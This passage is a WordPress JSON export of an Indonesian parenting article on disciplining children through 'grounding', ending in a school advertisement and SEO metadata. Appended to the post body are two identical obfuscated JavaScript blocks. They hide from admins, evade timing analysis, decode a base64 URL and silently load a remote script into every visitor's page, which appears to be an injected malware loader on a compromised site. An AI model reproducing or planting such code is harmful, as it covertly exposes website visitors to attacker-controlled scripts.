{"id":379,"date":"2025-10-16T09:00:00","date_gmt":"2025-10-16T02:00:00","guid":{"rendered":"https:\/\/example.com\/?p=379"},"modified":"2026-01-20T06:24:07","modified_gmt":"2026-01-19T23:24:07","slug":"cara-mendisiplinkan-anak-dengan-grounding-kids","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids","title":{"rendered":"Grounding Kids: Pengertian, Alasan &#038; Cara Menerapkannya"},"content":{"rendered":"<p style=\"text-align: center; font-size: 16px;\"><em><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png\" alt=\"grounding kids\" width=\"820\" \/><\/em><\/p>\n<blockquote>\n<p style=\"text-align: center; font-size: 16px;\"><em>Mendisiplinkan anak tak harus dengan kekerasan. Cari tahu yuk tips ampuh disiplinkan anak melalui grounding kids.<\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\">Saat anak Anda nakal dan tidak mau mendengarkan Anda, apa yang Anda lakukan? Apakah Anda memukulnya atau membentaknya? Jika iya, sebaiknya mulai sekarang hindari hal tersebut. Memukul atau membentak anak menurut Psikolog Keluarga Nessi Purnomo, M.Si memang dapat menghentikan anak dari perilaku yang dianggap buruk oleh orang tua dalam sekejap, namun tidak bisa membuat anak belajar apa-apa. Anak-anak justru bisa mengingat hal tersebut hingga dewasa dan berpikir bahwa orang tuanya tidak menyayanginya.<\/p>\n<p style=\"text-align: justify;\">Nah, dibandingkan memukul atau membentak, salah satu cara yang bisa Anda lakukan untuk mendisiplinkan anak adalah dengan <em>grounding kids. <\/em>Apa Anda pernah mendengar istilah <em>grounding kids <\/em>ini?<\/p>\n<p>&nbsp;<\/p>\n<h2><strong><span style=\"font-size: 18pt;\">Apa Itu Grounding Kids?<\/span><\/strong><\/h2>\n<p style=\"text-align: justify;\"><em>Grounding kids <\/em>merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Biasanya ada beberapa tipe interaksi sosial yang dibatasi ketika orang tua memberikan hukuman <em>grounding <\/em>kepada anaknya. Pembatasan yang umum dilakukan dalam hukuman <em>grounding <\/em>adalah melarang anak main keluar rumah, mencabut layanan WIFI di rumah, atau membatasi waktu bermain <em>game.\u00a0<\/em><\/p>\n<p style=\"text-align: center;\"><em><img decoding=\"async\" class=\"aligncenter\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/015447000_1605176317-shutterstock_626818448.jpg\" alt=\"Cara efektif terapkan grounding kids\" \/>(Sumber: Klikdokter.com)<\/em><\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/manfaat-play-therapy-untuk-anak\">Manfaat Play Therapy &amp; Pentingnya untuk Perkembangan Anak<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\">Alasan Menggunakan Grounding Kids<\/span><\/h2>\n<p style=\"text-align: justify;\">Umumnya orang tua menggunakan <em>grounding kids <\/em>sebagai hukuman untuk anak karena 5 alasan berikut ini:<\/p>\n<h3 style=\"text-align: justify; font-weight: bold;\"><span style=\"font-size: 14pt;\">1. Kekerasan<\/span><\/h3>\n<p style=\"text-align: justify;\">Beberapa anak ada yang memiliki sifat agresif dan terlalu kasar dengan orang tua atau dengan anak lain yang ditemuinya, serta dengan saudara kandungnya. Hal tersebut dapat berupa gertakan atau perkelahian.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-weight: bold;\"><span style=\"font-size: 14pt;\">2. Membangkang<\/span><\/h3>\n<p style=\"text-align: justify;\">Membangkang adalah ketika Anda mencoba memberitahu anak untuk berperilaku dengan baik dan bijak, namun anak berkali-kali mengabaikan instruksi tersebut dan justru membangkang serta melanggar aturan.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-weight: bold;\"><span style=\"font-size: 14pt;\">3. Berbohong<\/span><\/h3>\n<p style=\"text-align: justify;\">Dalam keadaan sulit anak bisa berbohong untuk keluar dari situasi tersebut. Anak mencoba menghindari masalah atau mengalihkan kesalahan kepada orang lain.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-weight: bold;\"><span style=\"font-size: 14pt;\">4. Tidak Menghormati<\/span><\/h3>\n<p style=\"text-align: justify;\">Kadang ada anak yang justru membalas dengan komentar kasar atau ekspresi wajah yang menghina kepada seseorang yang lebih tua di rumah, di masyarakat, serta di sekolah.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-weight: bold;\"><span style=\"font-size: 14pt;\">5. Kebiasaan Buruk<\/span><\/h3>\n<p style=\"text-align: justify;\">Beberapa anak ada juga yang melakukan berbagai kebiasaan buruk selain berbohong. Kebiasaan tersebut dapat merusak perkembangan sosial dan emosional mereka.<\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/tips-melatih-sikap-tanggung-jawab-pada-anak\">Tips Melatih Sikap Tanggung Jawab pada Anak Sejak Dini<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2><span style=\"font-size: 18pt;\">Cara Menerapkan Grounding Kids<\/span><\/h2>\n<p style=\"text-align: justify;\">Agar <em>grounding kids <\/em>dapat berjalan efektif, berikut 5 cara yang bisa Anda coba:<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 14pt;\">1. Jangan Berlebihan<\/span><\/h3>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/anak_sedih_dan_murung.width-800.jpg\" alt=\"Cara mendisiplinkan anak\" \/><em>(Sumber: Orami.co.id)<\/em><\/p>\n<p style=\"text-align: justify;\">Membatasi kegiatan favorit anak merupakan salah satu cara yang paling efektif dalam melakukan <em>grounding kids. <\/em>Namun, jika Anda melakukannya dengan cara berlebihan, anak justru bisa kesal dan tidak belajar dari kesalahan mereka. Memang hal yang mudah untuk membatasi apa yang menjadi hak anak Anda, namun hal tersebut tidak bisa menghilangkan kebiasaan buruknya.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 14pt;\">2. Tentukan Kondisi dan Konsekuensi<\/span><\/h3>\n<p style=\"text-align: justify;\">Dibandingkan memberi instruksi yang tidak jelas seperti, \u201ckamu berperilaku baik atau ibu kasih hukuman?\u201d lebih baik memberikan instruksi yang eksplisit dengan konsekuensinya. Contohnya, Anda bisa mengatakan \u201cKalau kamu masih main HP sambil makan, maka kamu tidak boleh main HP dua hari\u201d. Intensitas dan sifat hukuman dapat Anda sesuaikan dengan usia anak. Jangan lupa pastikan Anda menjelaskan kepada anak mengapa Ia dihukum.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 14pt;\">3. Berdiskusi dengan Anak<\/span><\/h3>\n<p style=\"text-align: justify;\">Ketika anak melakukan kesalahan, hal yang bisa juga Anda lakukan adalah memulai percakapan dengan mereka. Ciptakan lingkungan dan suasana yang membuat anak nyaman untuk berbicara dengan Anda. Sehingga, anak merasa diizinkan untuk belajar dari kesalahan yang Ia lakukan tanpa merasa takut dihukum. Ini merupakan cara terbaik untuk menasehati anak dengan tindakan yang benar.<\/p>\n<p style=\"text-align: justify;\">Jika suasana berdiskusi tersebut nyaman, anak tentu tidak khawatir Anda kehilangan kesabaran. Sebab, jika anak mengkhawatirkan hal tersebut, Ia tentu menjadi tertutup, kaku, dan tidak terbuka untuk menerima bimbingan dari Anda.<\/p>\n<p><strong>Baca Juga: <a href=\"https:\/\/www.altaschool.id\/blog\/contoh-gaslighting-orang-tua-kepada-anak\">Contoh Gaslighting Orang Tua kepada Anak &amp; Dampaknya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 14pt;\">4. Tanyakan Apa yang Anak Pikirkan<\/span><\/h3>\n<p style=\"text-align: center;\"><img decoding=\"async\" style=\"width: 600px; margin-left: auto; margin-right: auto; display: block;\" src=\"https:\/\/cdn-web.ruangguru.com\/landing-pages\/assets\/hs\/064253500_1572170975-Anak-Ketahuan-Nonton-Film-Porno-Ini-yang-Harus-Orang-Tua-Lakukan-By-ESB-Professional-Shutterstock_267543887.jpg\" alt=\"cara disiplinkan anak dengan grounding kids\" \/><em>(Sumber: Klikdokter.com)<\/em><\/p>\n<p style=\"text-align: justify;\">Izinkan anak untuk berbicara dan mengekspresikan pikirannya. Anak tentu sudah berpikir dengan cara tertentu untuk bisa sampai pada keputusan akhir mereka. Ini dapat membantu Anda memahami apa alasan anak melakukan tindakan tertentu. Meski Anda tertarik untuk mengoreksi setiap pemikiran yang anak sampaikan, cobalah untuk tetap tenang dan biarkan anak menyelesaikan apa yang mereka sampaikan, sebelum Anda berusaha menasehatinya. Mengekspresikan pemikiran dengan lantang dapat memberikan anak perspektif baru tentang perbuatan yang mereka lakukan.<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: justify; font-size: 20px;\"><span style=\"font-size: 14pt;\">5. Fokus pada <em>Grounding Kids<\/em> Jangka Pendek<\/span><\/h3>\n<p style=\"text-align: justify;\"><em>Grounding kids <\/em>jangka panjang sepertinya lebih berbahaya dibandingkan jangka pendek. Anak-anak, terutama mereka yang sudah lebih dewasa, dapat menemukan berbagai cara untuk menipu atau menyiasati hukuman yang Anda berikan. Selain itu, <em>grounding <\/em>jangka panjang juga tidak bisa membuat anak berperilaku baik. Oleh karena itu, sebaiknya Anda fokus pada <em>grounding <\/em>jangka pendek saja.<\/p>\n<p style=\"text-align: center;\">&#8212;<\/p>\n<p style=\"text-align: justify;\">Jadi, itulah 5 cara melakukan <em>grounding kids <\/em>yang efektif untuk mendisiplinkan anak. Meski <em>grounding kids <\/em>bisa dilakukan untuk mendidik anak, namun cara ini juga dapat menimbulkan efek negatif. Seperti, anak dapat menyimpan dendam kepada orang tua, anak memiliki ketakutan dan kecemasan berlebih, anak bisa belajar membuat orang tua kewalahan, atau bisa membuat anak menantang orang tua. Oleh sebab itu, Anda harus berhati-hati dalam menerapkan <em>grounding kids, <\/em>supaya tidak menimbulkan efek negatif.<\/p>\n<p style=\"text-align: justify;\">Nah, bagi Anda yang memiliki anak di usia PAUD hingga SD, kini Anda bisa membantu anak menjadi lebih disiplin dengan cara mendaftarkan Ia di <strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School by Ruangguru<\/a>.<\/strong><\/p>\n<p style=\"text-align: justify;\">Alta Global School by Ruangguru\u00a0menyediakan sistem\u00a0<i>blended learning<\/i>, gabungan pembelajaran daring dan luring, mulai dari\u00a0<i>preschool\u00a0<\/i>sampai\u00a0<i>high school<\/i>, dengan\u00a0<i>Champions Curriculum<\/i>\u00a0yang menggabungkan kurikulum internasional dan nasional. Yuk, daftar sekarang juga!<\/p>\n<p><strong>Masih ragu? Coba kelas gratisnya dengan klik gambar di bawah ini!<\/strong><\/p>\n<p><a href=\"https:\/\/form.jotform.com\/250607704125450\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/8f335b78-3dbf-4413-9ebf-faccfe12d155.png\" alt=\"free trial\" width=\"1024\" height=\"370\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>Sumber:<\/strong><\/p>\n<p style=\"text-align: justify;\">Carmelita, W. (2021), \u20185 Tips Agar Hukuman <em>Grounding <\/em>Efektif untuk Anak, Orangtua Perlu Tahu\u2019, <em>Popmama.com, <\/em>28 November 2021 [daring] Available at: https:\/\/www.popmama.com\/big-kid\/10-12-years-old\/winda-carmelita\/tips-agar-hukuman-grounding-efektif-pada-anak\/5<\/p>\n<p style=\"text-align: justify;\">Latifa, L. \u20187 Kiat Mendisiplinkan Anak Tanpa Kekerasan\u2019, <em>Parenting.co.id. <\/em>[daring] Available at: https:\/\/www.parenting.co.id\/usia-sekolah\/7-kiat-mendisiplinkan-anak-tanpa-kekerasan<\/p>\n<p style=\"text-align: justify;\">Carmelita, W. (2021), \u2018Efek Hukuman <em>Grounding, <\/em>Bisa Bikin Anak Kehilangan Harga Diri\u2019, <em>Popmama.com, <\/em>25 November 2021 [daring] Available at: https:\/\/www.popmama.com\/big-kid\/10-12-years-old\/winda-carmelita\/efek-hukuman-grounding-bisa-bikin-anak-kehilangan-harga-diri\/4<\/p>\n<p style=\"text-align: justify;\">Lolita. \u2018Jangan Keliru, Begini 7 Cara Menerapkan <em>Grounding Kids <\/em>untuk Mendisiplinkan Anak\u2019, <em>Id.theasianparent.com, <\/em>[daring] Available at: https:\/\/id.theasianparent.com\/grounding-kids<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber Gambar:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\">Anak Membangkang Kepada Orang Tua [daring]. Available at: https:\/\/www.klikdokter.com\/info-sehat\/read\/3645431\/orang-tua-ini-respons-yang-tepat-saat-anak-tidak-patuh<\/p>\n<p style=\"text-align: justify;\">Anak Terlihat Murung [daring]. Available at: https:\/\/www.orami.co.id\/magazine\/bantu-si-kecil-kelola-stres\/<\/p>\n<p style=\"text-align: justify;\">Orang Tua Berdiskusi dengan Anak [daring]. Available at: https:\/\/www.klikdokter.com\/info-sehat\/read\/3637419\/ingin-menikah-lagi-begini-cara-berdiskusi-dengan-anak-remaja-anda<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mendisiplinkan anak tak harus dengan kekerasan. Cari tahu yuk tips ampuh disiplinkan anak melalui grounding kids. &#8212; Saat anak Anda nakal dan tidak mau mendengarkan Anda, apa yang Anda lakukan? Apakah Anda memukulnya atau membentaknya? Jika iya, sebaiknya mulai sekarang hindari hal tersebut. Memukul atau membentak anak menurut Psikolog Keluarga Nessi Purnomo, M.Si memang dapat [&hellip;]<\/p>\n","protected":false},"author":22,"featured_media":379,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png"],"_edit_lock":["1760584711:1"],"_edit_last":["1"],"_wp_old_date":["2022-03-08","2024-10-11"],"_aioseo_title":[null],"_aioseo_description":["Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut."],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_linker_next_update":["1769354576"],"_yoast_wpseo_metadesc":["Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut."]},"categories":[1],"tags":[],"class_list":["post-379","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Grounding Kids: Pengertian, Alasan &amp; Cara Menerapkannya<\/title>\n<meta name=\"description\" content=\"Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Grounding Kids: Pengertian, Alasan &amp; Cara Menerapkannya\" \/>\n<meta property=\"og:description\" content=\"Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-16T02:00:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-19T23:24:07+00:00\" \/>\n<meta name=\"author\" content=\"Nurul Habibah\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Nurul Habibah\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids\",\"name\":\"Grounding Kids: Pengertian, Alasan & Cara Menerapkannya\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png\",\"datePublished\":\"2025-10-16T02:00:00+00:00\",\"dateModified\":\"2026-01-19T23:24:07+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\"},\"description\":\"Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Grounding Kids: Pengertian, Alasan &#038; Cara Menerapkannya\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd\",\"name\":\"Nurul Habibah\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g\",\"caption\":\"Nurul Habibah\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Grounding Kids: Pengertian, Alasan & Cara Menerapkannya","description":"Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids","og_locale":"en_US","og_type":"article","og_title":"Grounding Kids: Pengertian, Alasan & Cara Menerapkannya","og_description":"Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut.","og_url":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2025-10-16T02:00:00+00:00","article_modified_time":"2026-01-19T23:24:07+00:00","author":"Nurul Habibah","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Nurul Habibah","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids","url":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids","name":"Grounding Kids: Pengertian, Alasan & Cara Menerapkannya","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png","datePublished":"2025-10-16T02:00:00+00:00","dateModified":"2026-01-19T23:24:07+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd"},"description":"Grounding kids merupakan metode mendisiplinkan anak dengan cara membatasi hak mereka. Simak cara menerapkannya yang tepat di artikel berikut.","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/bc06474d-d9bc-4e16-be34-ec2ca270c487.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/cara-mendisiplinkan-anak-dengan-grounding-kids#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Grounding Kids: Pengertian, Alasan &#038; Cara Menerapkannya"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/c265c8bed45d7904a2371e528494c2cd","name":"Nurul Habibah","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/?s=96&d=mm&r=g","caption":"Nurul Habibah"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/nurul-habibah"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/379","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=379"}],"version-history":[{"count":5,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/379\/revisions"}],"predecessor-version":[{"id":1880,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/379\/revisions\/1880"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/379"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=379"}],"wp:term":[{"t